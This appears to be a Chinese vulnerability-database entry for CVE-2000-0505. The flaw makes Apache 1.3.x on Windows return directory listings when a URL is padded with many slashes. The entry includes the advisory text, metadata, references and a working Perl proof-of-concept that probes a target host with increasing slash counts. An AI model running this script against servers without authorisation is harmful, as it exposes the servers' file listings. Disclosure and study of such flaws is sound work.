apache web Server(Win32)根目录访问漏洞

漏洞ID 1105865 漏洞类型 其他
发布时间 2000-05-31 更新时间 2021-06-07
CVE编号 CVE-2000-0505 CNNVD-ID CNNVD-200005-109
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/19975


http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-109

|漏洞详情
Apache是一款广泛使用的开放源代码WEB服务程序。 Apache Web Server 1.3.x(Win32)对于请求路径的处理上存在漏洞，远程攻击者利用此漏洞通过请求包含大量的‘/’字符串的URL获取目录列表信息。
|漏洞EXP 
source: http://www.securityfocus.com/bid/1284/info

Apache HTTP Server 1.3.x (win32) allows people to get a directory listing of a directory, if it is enabled in the config, even if an index file is present that would normally be displayed instead. This can be achieved by sending a number of "/" characters appended to an HTTP request to the server. (eg: http://www.host.com///////////////////////////////////////////////////////...) When apache calls stat() to check if the index.html (for example) exists, Windows will return an error if the path is too long. Apache incorrectly treats this as if the file does not exist. Different numbers of "/"s are required based on the length of the path to the DocumentRoot. 

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage:  $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $i;

$odata = get("http://$host/");
if ($odata eq "")
{
    die "no response from server:  $host\n";
}
for ($i = 2; $i < 4096; $i++)
{
    print "Trying $i...\n";
    $data = get("http://$host" . ("/" x $i));
    if ($data ne $odata)
    {
        print "/ = $i\n\n$data\n\n";
        exit;
    }
}

|参考资料

来源:BUGTRAQ

名称:20000603Re:IBMHTTPSERVER/APACHE

链接:http://www.securityfocus.com/templates/archive.pike?list=1&[email protected]

来源:BID

名称:1284

链接:http://www.securityfocus.com/bid/1284

来源:XF

名称:ibm-http-file-retrieve

链接:http://xforce.iss.net/static/4575.php

来源：NSFOCUS

名称：7758

链接：http://www.nsfocus.net/vulndb/7758
声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。